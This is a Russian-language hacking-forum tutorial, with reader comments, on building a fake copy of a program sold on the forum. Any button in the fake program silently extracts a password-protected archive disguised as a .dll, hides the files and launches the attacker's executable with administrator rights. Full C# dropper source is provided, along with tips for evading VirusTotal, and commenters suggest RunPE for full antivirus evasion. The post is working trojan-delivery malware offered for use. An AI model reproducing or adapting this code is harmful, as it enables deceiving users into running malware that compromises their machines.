Загрузка...
Author's article We hide our Malware under the guise of a fake program
Feb 13, 2021
a69a69
23,113
51
  1. a69a69
    a69a69 Topic starter Feb 13, 2021 Banned 1854 Oct 23, 2019
    Научу вас создавать фейковые программы которые скрыто запускают ваш .exe файл. C помощью c# WPF.
    Для этого нам понадобится:
    Visual Studio 2019, и обычный архиватор.
    Перейду сразу к созданию фейкового софта. На примере буду копировать RIOT ***** который продаётся у нас на форуме, дизайн лёгкий и поэтому создать копию будет не сложно.
    [IMG]
    И так приступим. Создаём новый проект: Приложение WPF (.Net Framework)
    [IMG]
    Даём имя, платформу выбираем .Net Framework 4.5, и нажимаем создать.
    [IMG]
    Перед нами открылся проект, первым делом нам нужно поменять размер нашего приложения, тут меняем на нужные значения. В моём случае
    [IMG]
    Дальше меняем фон, добавляем кнопки
    [IMG]
    Далее добавляем два CheckBox/RadioButton/Label
    [IMG]
    Уже начинает быть похоже на саму программу, не идеал но сойдёт.
    Добавляем ещё несколько Label переименовываем
    [IMG]
    Почти все готово, нажимаем сборка, собрать решение и смотрим что получилось. У меня вышло такое. Я конечно не дизайнер, но и так сойдёт...
    [IMG]
    Теперь нам нужно что-бы при нажатии любой кнопки в этой софте, скрыто открывался наш файлик. Для этого переходим сюда
    [IMG]
    Первым делом нужно добавить дополнительные библиотеки, нажимаем правой кнопкой на наш проект и жмём Управление пакетами Nugat
    [IMG]
    Открывается такое окно, в поиске пишем SharpZipLib после его установки, устанавливаем Costura.Fody версии 4,1
    [IMG]
    Далее подготавливаем наш .exe файлик. На примере буду использовать установщик 7zip. Переименовываем наш файл на нужно название я назвал его chiken.exe. Далее добавляем наш файл в архив и с другим типом файла. И обязательно пароль, запоминаем. Я поставил 1234. Получилось вот так. В этом архиве находиться наш файлик, и его не смогут слить на вт, так как он под паролем.
    [IMG] [IMG]
    Возвращаемся в VS.Нужно присвоить каждой кнопке click. Нажимаем на кнопку нам покажет код.
    [IMG] . И для каждой кнопки ставить разный Click_Button1 2 3 и так далее.
    Переходим после в MainWindow.xaml.cs. И вставляем данный код. Там где exe файл меняем на ваш. там где dll файл меняем на ваш. Комменты везде стоят что нужно где сделать.
    Code

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows;
    using System.Windows.Controls;
    using System.Windows.Data;
    using System.Windows.Documents;
    using System.Windows.Input;
    using System.Windows.Media;
    using System.Windows.Media.Imaging;
    using System.Windows.Navigation;
    using System.Windows.Shapes;
    using ICSharpCode.SharpZipLib.Core;
    using ICSharpCode.SharpZipLib.Zip;
    using System.Diagnostics;
    using System.IO;
    using System.Threading;

    namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
    {
    /// <summary>
    /// Логика взаимодействия для MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
    public MainWindow()
    {
    InitializeComponent();
    }
    private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
    {
    string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
    if (!Directory.Exists(dir))
    File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
    string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
    ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив

    File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
    new Thread(() =>
    {
    try
    {




    File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
    ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
    info.UseShellExecute = true;
    info.Verb = "runas";
    Process.Start(info);


    // эти две строки на ваше усмотрение
    //proc.WaitForExit(); //Ждем завершения работы малвари
    //File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
    }
    catch (Exception)
    {
    }

    }).Start();
    }


    private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
    {

    {
    ZipFile zf = null;
    try
    {
    FileStream fs = File.OpenRead(archiveFilenameIn);
    zf = new ZipFile(fs);
    if (!String.IsNullOrEmpty(password))
    {
    zf.Password = password;
    }
    foreach (ZipEntry zipEntry in zf)
    {
    if (!zipEntry.IsFile)
    {
    continue;
    }
    String entryFileName = zipEntry.Name;


    byte[] buffer = new byte[4096];
    Stream zipStream = zf.GetInputStream(zipEntry);
    String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
    string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
    if (directoryName.Length > 0)
    Directory.CreateDirectory(directoryName);


    using (FileStream streamWriter = File.Create(fullZipToPath))
    {
    StreamUtils.Copy(zipStream, streamWriter, buffer);
    }
    }
    }
    catch (Exception ex)
    {
    throw ex;
    }
    finally
    {
    if (zf != null)
    {
    zf.IsStreamOwner = true;
    zf.Close();
    }
    }
    }
    }

    private void Click_Button1(object sender, EventArgs e)
    {

    }
    private void Click_Button2(object sender, EventArgs e)
    {

    }

    private void Click_Button3(object sender, EventArgs e)
    {

    }
    private void Click_Button4(object sender, EventArgs e)
    {

    }
    }
    }


    Нажимаем сборка, собрать решение.
    Если всё сделали правильно, то при нажатии на кнопку, архив разархивируется скроется, скрыто запустит ваш малварь. Обязательно ваш архив должен быть рядом с созданным вами софтом в одном папке.
    [IMG]
    Запускаем наш Riot *****1. При нажатии Добавить ******, dll удаляется/ либо скрывается. и запускается наш exe.
    [IMG]
    И вот детект нашего "софтика"
    [IMG]
    Надеюсь помог данной статьёй. Задавайте вопросы помогу вам.
    И сам сурс код, можете запустить посмотреть. Скачать (мега)
     

Comments

    1. forvision1
      forvision1 Feb 27, 2021 17 Feb 26, 2021
      Антивирус во время рантайма не пропустит софт, да и во время скана по сигнатурам тоже
       
    2. Arriva
      Arriva Mar 9, 2021 ватафак 703 Sep 21, 2020
      Спс, работает
       
    3. major22020
      major22020 Mar 9, 2021 Banned 6 Oct 7, 2020
      Со скр прокатит ?
       
    4. KNYTE
      KNYTE Mar 11, 2021 2 Nov 10, 2020
    5. kud181
      kud181 Mar 12, 2021 1 Feb 8, 2018
      Arriva , ну да, а на ВТ закинь теперь и посмотри как все работает
       
    6. Workle
      Workle Mar 14, 2021 Banned 2 May 9, 2020
      Со скр прокатит ?
       
    7. CoderVir
      Workle , да хоть с батниками.
       
    8. alvkN
      alvkN Mar 18, 2021 50 Jul 1, 2018
      @CoderVir, челик только о костуре узнал, не мешай малому радоваться (похуй что она уже не обновляется) [IMG]
       
    9. Kanek121438324
      Kanek121438324 Mar 18, 2021 Wassup 983 Sep 20, 2019
      Спасибо:peka:
       
    10. CoderVir
      да бонально при нажатии на кнопку можно юзать место архивов run/loadPE. строчек 5 мб. И full FUD + рантайм. На шарпе это расплюнуть как изи.
       
    11. Young_Brotheer
      Спасибо
       
    12. WiFik1818
      WiFik1818 Mar 21, 2021 @OpenBullet - тэкс 6 Mar 17, 2021
      malware ху на
       
    13. suetacorp
    14. faze_sako
      faze_sako Mar 29, 2021 0 Feb 24, 2021
      А как сам вирус создать?
       
    15. keniwest2019
      keniwest2019 Mar 30, 2021 Banned 19 Aug 13, 2019
      @CoderVir , Ебанеш?
       
    16. suetacorp
    17. BALTIKA_inactive4067568
    18. Zhimka
      Zhimka Apr 26, 2021 work:nerd: 257 Jun 21, 2020
      Спасибо папаша
       
    19. Problem
      Problem May 4, 2021 1821 May 4, 2021
      Годно
       
Loading...
Top